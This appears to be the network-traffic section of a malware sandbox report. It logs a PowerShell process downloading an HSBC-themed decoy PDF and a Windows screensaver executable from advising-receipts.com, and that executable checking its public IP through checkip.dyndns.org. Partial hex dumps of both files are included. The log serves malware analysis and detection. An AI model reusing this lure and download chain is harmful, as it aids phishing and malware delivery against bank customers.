May 1, 2024 15:17:34.095657110 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49738	193.122.130.0	80	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 15:17:34.662223101 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 1, 2024 15:17:34.757692099 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	172.67.141.195	443	4912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:07 UTC	189	OUT	GET /hsbc/Payment_Advice.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: advising-receipts.com Connection: Keep-Alive
2024-05-01 13:17:07 UTC	644	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: MISS Last-Modified: Wed, 01 May 2024 13:17:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ca1UGuXJQAmIqtePQ2kepeZdgB9%2BwbNXgBYjjrDKHT7eann3djqqpViz4La8iWAFsWp2AFmxH3tA3hjWi5HG3jRjCZWdjmlG%2FiP59ZxxxFYjcdfoy6CXVnRFVoTEtWIjERJUDukyrQA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00cc939a65a27-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:07 UTC	725	IN	Data Raw: 33 38 66 66 0d 0a 25 50 44 46 2d 31 2e 34 0d 0a 25 e2 e3 cf d3 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 0d 0a 2f 54 79 70 65 20 2f 50 61 67 65 0d 0a 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 32 20 5d 0d 0a 2f 52 65 73 6f 75 72 63 65 73 20 3c 3c 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 58 30 20 33 20 30 20 52 20 3e 3e 20 3e 3e 0d 0a 2f 43 6f 6e 74 65 6e 74 73 20 34 20 30 20 52 0d 0a 2f 50 61 72 65 6e 74 20 32 20 30 20 52 0d 0a 2f 52 6f 74 61 74 65 20 33 36 30 0d 0a 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 0d 0a 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 0d 0a 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 0d 0a 2f 57 69 64 74 68 20 32 34 38 30 0d 0a 2f 48 65 69 67 68 74 20 33 35 30 39 0d 0a 2f 42 69 74 73 50 Data Ascii: 38ff%PDF-1.4%1 0 obj<</Type /Page/MediaBox [ 0 0 595 842 ]/Resources << /XObject << /X0 3 0 R >> >>/Contents 4 0 R/Parent 2 0 R/Rotate 360>>endobj3 0 obj<</Type /XObject/Subtype /Image/Width 2480/Height 3509/BitsP
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fd fc a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?((((((((
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 82 c9 7e d5 5f b7 97 c3 c8 3c 61 e0 7f d8 96 1b 6f 08 5f f3 67 ac eb df 14 23 d3 6d ef 87 4f dc 24 9a 7f 9b 22 1f f9 e9 1c 7e 5f 5e 68 03 f4 f2 8a f2 df d9 9b c7 5f 12 be 23 78 06 ea f3 e2 8f 80 74 6f 86 de 22 86 fd e2 87 4a d3 7c 49 ff 00 09 04 72 db 88 e3 29 71 f6 8f 22 df 04 b9 90 6c f2 f8 f2 c7 26 bd 4a 80 0a 2b c9 7f 6a 5f 1f 7c 56 f8 77 e1 1d 32 eb e1 4f c3 7d 0f e2 56 b1 2d e7 97 79 63 aa f8 b3 fe 11 d8 ed 61 f2 db f7 82 4f b3 dc 79 9f 3e c1 b3 03 83 d6 be 12 fd b8 3f e0 b6 9f b5 17 fc 13 e3 c1 0b e2 8f 88 5f b1 4c 27 c2 71 ca 23 9f 5c d1 7e 27 c5 a9 59 db b1 ed 37 97 a7 f9 90 7f d7 49 23 08 4e 00 cd 00 7e a3 d1 5f cf cf fc 47 1d 75 ff 00 46 cb 6b ff 00 87 0c ff 00 f2 ba ba 8f 83 df f0 79 4f 8c 3e 3e fc 45 d2 bc 23 e0 9f d9 1e f3 c4 de 24 d6 a6 f2 Data Ascii: ~_<ao_g#mO$"~_^h_#xto"J\|Ir)q"l&J+j_\|Vw2O}V-ycaOy>?_L'q#\~'Y7I#N~_GuFkyO>>E#$
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 1f f4 54 24 ff 00 c1 06 9b ff 00 c6 28 ff 00 87 db fe d3 ff 00 f4 54 64 ff 00 c1 06 9b ff 00 c6 2b 9f fe 22 26 59 fc b3 fb 97 f9 9e e7 fc 49 a7 1c 7f cf dc 3f fe 0c 9f ff 00 2b 3f a1 bd df ed 7e 94 6e ff 00 6b f4 af e7 93 fe 1f 6f fb 4f ff 00 d1 51 93 ff 00 04 1a 6f ff 00 18 a3 fe 1f 6f fb 4f ff 00 d1 51 93 ff 00 04 1a 6f ff 00 18 a3 fe 22 26 59 fc b3 fb 97 f9 8f fe 24 d3 8e 3f e7 ed 0f fc 19 3f fe 56 7f 43 7b bf da fd 29 37 7f b5 fa 57 f3 cb ff 00 0f b7 fd a7 ff 00 e8 a8 c9 ff 00 82 0d 37 ff 00 8c 51 ff 00 0f b7 fd a7 ff 00 e8 a8 c9 ff 00 82 0d 37 ff 00 8c 51 ff 00 11 13 2c fe 59 fd cb fc c3 fe 24 d3 8e 3f e7 ed 0f fc 19 3f fe 56 7f 43 58 ff 00 69 7f 2a 00 c1 fb c3 f2 af e7 8f fe 1f 63 fb 4f 1f f9 aa 12 7f e0 83 4d ff 00 e3 15 63 4f ff 00 82 ce fe d4 7a Data Ascii: T$(Td+"&YI?+?~nkoOQooOQo"&Y$??VC{)7W7Q7Q,Y$??VCXi*cOMcOz
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 3a f5 9d a7 87 23 75 ff 00 9e 77 b7 91 5b dc 0f fc 06 79 e8 03 f9 de ff 00 82 e0 7f c1 65 fc 59 ff 00 05 55 fd a3 75 26 b4 be bc d3 fe 10 f8 5e ea 48 fc 27 a1 ee f2 e3 91 3f d5 ff 00 68 5c 27 f1 dc ca 37 7f d7 28 df cb 1f f2 d0 c9 ef df f0 40 af f8 37 30 ff 00 c1 45 fc 37 0f c5 af 8b 57 da 96 83 f0 95 6e de 0d 33 4e b2 60 97 be 2b 78 a4 d9 27 ef 71 fb 9b 61 26 63 2f fe b2 43 e6 04 31 ec 12 57 e4 8d 7f 6f 3f f0 4a ef 0d e8 de 16 ff 00 82 6b fc 01 b4 f0 ff 00 97 fd 8f 1f c3 ed 12 48 1d 17 fd 6f 99 65 14 8f 27 fd b4 77 2f f5 34 01 7f f6 71 ff 00 82 71 7c 07 fd 92 f4 3b 7d 3b e1 ef c2 5f 01 f8 69 6d 53 cb fb 4c 1a 44 72 de ca 0f fc f4 b8 90 3d c4 9f f6 d2 43 5d 77 c5 df d9 5f e1 9f ed 01 e1 f6 d2 7c 71 f0 f7 c1 3e 2c d3 64 5d 82 df 56 d1 2d ef 11 47 5f e3 8c Data Ascii: :#uw[yeYUu&^H'?h\'7(@70E7Wn3N`+x'qa&c/C1Wo?JkHoe'w/4qq\|;};_imSLDr=C]w_\|q>,d]V-G_
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 1f 83 93 f8 3d bc 59 e1 7d 4b 51 30 fd 9e 2f 12 5f 68 11 cb ad 5a 8e 99 07 3f 67 79 38 fb f2 c3 27 e7 5f a8 1f f0 66 8f c4 1d 4b c6 ff 00 b1 0f c6 09 b5 6b eb ad 4b 52 ba f8 97 71 aa dd 5c 5d 48 65 92 e2 7b 8d 3e cb cc 91 e4 3f 7d dc a6 79 fa f7 af 33 ff 00 83 a3 7f e0 84 9a 57 89 bc 13 af 7e d3 5f 09 34 58 74 cd 6b 45 8d ef fc 79 a3 da c7 e5 c3 aa db e3 32 6a b1 a0 e9 71 1f 2f 71 ff 00 3d 23 fd e7 12 47 21 97 5b fe 0c 89 d6 7e d5 fb 35 7c 74 b1 ff 00 9f 5f 13 69 f3 ff 00 df cb 69 07 fe d3 a0 0f dc 4a 28 a2 80 0a 0d 19 a0 9e 28 02 bc 92 73 db 76 38 1e 94 d4 7f 31 47 dd 61 dc e2 87 40 fd b0 18 72 7d ab f3 8f fe 0a fb ff 00 05 79 87 f6 7b b3 bf f8 6b f0 d6 f9 66 f1 c5 c2 18 f5 1d 4e 03 e6 47 a0 c7 fd c5 c7 59 cf a7 f0 75 35 c1 99 66 54 30 34 3d bd 73 ea f8 Data Ascii: =Y}KQ0/_hZ?gy8'_fKkKRq\]He{>?}y3W~_4XtkEy2jq/q=#G![~5\|t_iiJ((sv81Ga@r}y{kfNGYu5fT04=s
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2024-05-01 13:17:07 UTC	1369	IN	Data Raw: c6 12 40 1a f3 e2 87 8a 2f f5 21 2f fd 3b 5b 11 65 1a 7e 12 5b ce 7f ed a5 7e af d0 01 45 14 50 01 45 14 50 06 6e b3 a1 d9 f8 8f 4a b8 b1 bd b6 82 f2 ce f6 37 b7 9e 09 93 cc 8e 58 df ef a3 0e 98 3d 2b f2 7f fe 0d bf fd 9a 63 fd 89 7f 6d df db bb e1 04 2b 24 7a 6f 83 7c 57 a1 49 a6 24 9f eb 3e c1 73 1e a3 3d 9e 7e b6 c6 3a fd 72 af 32 f8 7d fb 2e f8 43 e1 8f ed 0f f1 0b e2 86 91 67 73 6f e2 ff 00 8a 70 e9 96 fa fc f2 5c 3c 91 dc 26 9f 1c 91 5b 62 33 c2 11 1c 8e 3f 2f a5 00 7a 6d 06 8a 0f 4a 00 af 24 9c f6 dd 8e 07 a5 35 1f 7a 8f ba c0 75 38 a1 90 4b fc 3f 2b 0e 4f b5 7e 73 ff 00 c1 5e 7f e0 af 50 fe ce f6 77 df 0d be 1a df 47 73 e3 db 85 31 ea 3a 84 47 cc 8b 40 8c ff 00 39 8f a7 f0 75 35 c1 99 66 54 30 34 3d bd 73 ea b8 27 82 73 5e 2a cd 69 e5 39 4c 39 e7 Data Ascii: @/!/;[e~[~EPEPnJ7X=+cm+$zo\|WI$>s=~:r2}.Cgsop\<&[b3?/zmJ$5zu8K?+O~s^PwGs1:G@9u5fT04=s's^*i9L9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49705	172.67.141.195	443	4912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:09 UTC	159	OUT	GET /hsbc/hadvices.scr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: advising-receipts.com
2024-05-01 13:17:09 UTC	588	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:09 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DFxKANaLQlaGvnKwYCL1YKljP6BEXt05ME%2Bg%2BDKUeF%2FemEYLpSrI31RHRcLfQaze0c3HgJPkuDj%2FO8QSQzevwIsdzEcyF3pEjXzsB9KImB9vFMOFq30%2FW4402FVWYweze%2BjE1WXb8rI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00cd5ac5238a6-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:09 UTC	781	IN	Data Raw: 33 31 65 61 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 0b 33 dd 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 da 0f 00 00 08 00 00 00 00 00 00 1e f8 0f 00 00 20 00 00 00 00 10 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 10 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 Data Ascii: 31eaMZ@!L!This program cannot be run in DOS mode.$PEL30 @ @@
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: 00 c0 00 40 00 f0 00 00 00 cc 01 30 ff 88 01 18 ff 59 06 00 00 bf 08 00 00 7e 11 00 00 fd 22 00 00 20 00 09 00 0a 00 0d 00 04 08 00 00 04 04 00 00 07 04 00 00 09 04 00 00 0a 04 00 00 0c 04 00 00 11 04 00 00 00 00 00 00 2e 00 5f 21 00 5f 26 00 5f 2c 00 5f 2e 00 5f 3f 00 5f 5e 00 5f 7c 00 5f 7c 7c 00 5f 53 00 2b 00 41 00 41 41 00 41 44 56 00 41 45 00 41 45 58 00 41 48 00 41 49 ff ff 00 41 4e ff 00 41 4f 00 41 4f 45 00 41 4f 58 ff ff 00 41 50 49 00 41 53 50 00 41 54 52 00 41 55 ff ff 00 41 58 00 41 58 52 00 42 00 42 42 00 42 48 00 42 49 4d 00 42 56 41 00 42 56 44 00 43 00 43 43 ff ff 00 43 43 32 00 43 43 4b 00 43 45 4e 00 43 48 ff ff 00 43 48 32 00 43 4a 00 43 54 00 43 56 44 00 44 00 44 45 4e 00 44 48 00 44 49 4d 00 44 52 00 44 58 00 44 58 52 00 44 5a ff ff Data Ascii: @0Y~" ._!_&_,_._?_^_\|_\|\|_S+AAAADVAEAEXAHAIANAOAOEAOXAPIASPATRAUAXAXRBBBBHBIMBVABVDCCCCC2CCKCENCHCH2CJCTCVDDDENDHDIMDRDXDXRDZ
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: 30 30 00 33 31 30 35 00 33 31 30 36 00 33 31 30 37 00 33 31 30 38 00 33 31 30 39 00 33 31 30 41 00 33 31 30 42 00 33 31 30 43 00 33 31 30 44 00 33 31 30 45 00 33 31 30 46 00 33 31 31 30 00 33 31 31 31 00 33 31 31 32 00 33 31 31 33 00 33 31 31 34 00 33 31 31 35 00 33 31 31 36 00 33 31 31 37 00 33 31 31 38 00 33 31 31 39 00 33 31 31 41 00 33 31 31 42 00 33 31 31 43 00 33 31 31 44 00 33 31 31 45 00 33 31 31 46 00 33 31 32 30 00 33 31 32 31 00 33 31 32 32 00 33 31 32 33 00 33 31 32 34 00 33 31 32 35 00 33 31 32 36 00 33 31 32 37 00 33 31 32 38 00 33 31 32 39 00 00 00 00 00 21 00 26 00 2a 00 2b 00 2c 00 2d 00 2e 00 3f 00 5f 00 c7 02 c9 02 ca 02 cb 02 d9 02 00 30 05 31 06 31 07 31 08 31 09 31 0a 31 0b 31 0c 31 0d 31 0e 31 0f 31 10 31 11 31 12 31 13 31 14 31 15 Data Ascii: 0031053106310731083109310A310B310C310D310E310F3110311131123113311431153116311731183119311A311B311C311D311E311F3120312131223123312431253126312731283129!&*+,-.?_01111111111111111
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: 00 33 30 43 42 00 33 30 43 43 00 33 30 43 44 00 33 30 43 45 00 33 30 43 46 00 33 30 44 30 00 33 30 44 31 00 33 30 44 32 00 33 30 44 33 00 33 30 44 34 00 33 30 44 35 00 33 30 44 36 00 33 30 44 37 00 33 30 44 38 00 33 30 44 39 00 33 30 44 41 00 33 30 44 42 00 33 30 44 43 00 33 30 44 44 00 33 30 44 45 00 33 30 44 46 00 33 30 45 30 00 33 30 45 31 00 33 30 45 32 00 33 30 45 33 00 33 30 45 34 00 33 30 45 35 00 33 30 45 36 00 33 30 45 37 00 33 30 45 38 00 33 30 45 39 00 33 30 45 41 00 33 30 45 42 00 33 30 45 43 00 33 30 45 44 00 33 30 45 45 00 33 30 45 46 00 33 30 46 30 00 33 30 46 31 00 33 30 46 32 00 33 30 46 33 00 33 30 46 34 00 33 30 46 35 00 33 30 46 36 00 33 30 46 37 00 33 30 46 38 00 33 30 46 39 00 33 30 46 41 00 33 30 46 42 00 33 30 46 43 00 33 30 46 44 Data Ascii: 30CB30CC30CD30CE30CF30D030D130D230D330D430D530D630D730D830D930DA30DB30DC30DD30DE30DF30E030E130E230E330E430E530E630E730E830E930EA30EB30EC30ED30EE30EF30F030F130F230F330F430F530F630F730F830F930FA30FB30FC30FD
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: 4e 41 4e 00 4e 41 4e 47 00 4e 41 4f 00 4e 45 00 4e 45 49 00 4e 45 4e 00 4e 45 4e 47 00 4e 49 00 4e 49 41 4e 00 4e 49 41 4e 47 00 4e 49 41 4f 00 4e 49 45 00 4e 49 4e 00 4e 49 4e 47 00 4e 49 55 00 4e 4f 4e 47 00 4e 4f 55 00 4e 55 00 4e 55 41 4e 00 4e 55 45 00 4e 55 4f 00 4e 56 00 4f 00 4f 55 00 50 41 00 50 41 49 00 50 41 4e 00 50 41 4e 47 00 50 41 4f 00 50 45 49 00 50 45 4e 00 50 45 4e 47 00 50 49 00 50 49 41 4e 00 50 49 41 4f 00 50 49 45 00 50 49 4e 00 50 49 4e 47 00 50 4f 00 50 4f 55 00 50 55 00 51 49 00 51 49 41 00 51 49 41 4e 00 51 49 41 4e 47 00 51 49 41 4f 00 51 49 45 00 51 49 4e 00 51 49 4e 47 00 51 49 4f 4e 47 00 51 49 55 00 51 55 00 51 55 41 4e 00 51 55 45 00 51 55 4e 00 52 41 4e 00 52 41 4e 47 00 52 41 4f 00 52 45 00 52 45 4e 00 52 45 4e 47 00 52 Data Ascii: NANNANGNAONENEINENNENGNINIANNIANGNIAONIENINNINGNIUNONGNOUNUNUANNUENUONVOOUPAPAIPANPANGPAOPEIPENPENGPIPIANPIAOPIEPINPINGPOPOUPUQIQIAQIANQIANGQIAOQIEQINQINGQIONGQIUQUQUANQUEQUNRANRANGRAORERENRENGR
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: 00 ff 00 00 01 01 01 02 01 03 01 04 01 05 01 06 01 07 01 08 01 09 01 0a 01 0b 01 0c 01 0d 01 0e 01 0f 01 10 01 11 01 12 01 13 01 14 01 15 01 16 01 17 01 18 01 19 01 1a 01 1b 01 1c 01 1d 01 1e 01 1f 01 20 01 21 01 22 01 23 01 24 01 25 01 26 01 27 01 28 01 29 01 2a 01 2b 01 2c 01 2d 01 2e 01 2f 01 30 01 31 01 32 01 33 01 34 01 35 01 36 01 37 01 38 01 39 01 3a 01 3b 01 3c 01 3d 01 3e 01 3f 01 40 01 41 01 42 01 43 01 44 01 45 01 46 01 47 01 48 01 49 01 4a 01 4b 01 4c 01 4d 01 4e 01 4f 01 50 01 51 01 52 01 53 01 54 01 55 01 56 01 57 01 58 01 59 01 5a 01 5b 01 5c 01 5d 01 5e 01 5f 01 60 01 61 01 62 01 63 01 64 01 65 01 66 01 67 01 68 01 69 01 6a 01 6b 01 6c 01 6d 01 6e 01 6f 01 70 01 71 01 72 01 73 01 74 01 75 01 76 01 77 01 78 01 79 01 7a 01 7b 01 7c 01 7d 01 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 06 00 00 Data Ascii:
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: ff ff ff c8 ff ff ff d0 ff ff ff d8 ff ff ff e0 ff ff ff e8 ff ff ff f0 ff ff ff f8 ff ff ff 00 00 00 00 7c 7d 00 00 7c 79 00 00 7c 75 00 00 7c 71 00 00 7c 6d 00 00 7c 69 00 00 7c 65 00 00 7c 61 00 00 7c 5d 00 00 7c 59 00 00 7c 55 00 00 7c 51 00 00 7c 4d 00 00 7c 49 00 00 7c 45 00 00 7c 41 00 00 7c 3e 00 00 7c 3c 00 00 7c 3a 00 00 7c 38 00 00 7c 36 00 00 7c 34 00 00 7c 32 00 00 7c 30 00 00 7c 2e 00 00 7c 2c 00 00 7c 2a 00 00 7c 28 00 00 7c 26 00 00 7c 24 00 00 7c 22 00 00 7c 20 00 00 fc 1e 00 00 fc 1d 00 00 fc 1c 00 00 fc 1b 00 00 fc 1a 00 00 fc 19 00 00 fc 18 00 00 fc 17 00 00 fc 16 00 00 fc 15 00 00 fc 14 00 00 fc 13 00 00 fc 12 00 00 fc 11 00 00 fc 10 00 00 fc 0f 00 00 3c 0f 00 00 bc 0e 00 00 3c 0e 00 00 bc 0d 00 00 3c 0d 00 00 bc 0c 00 00 3c 0c 00 00 Data Ascii: 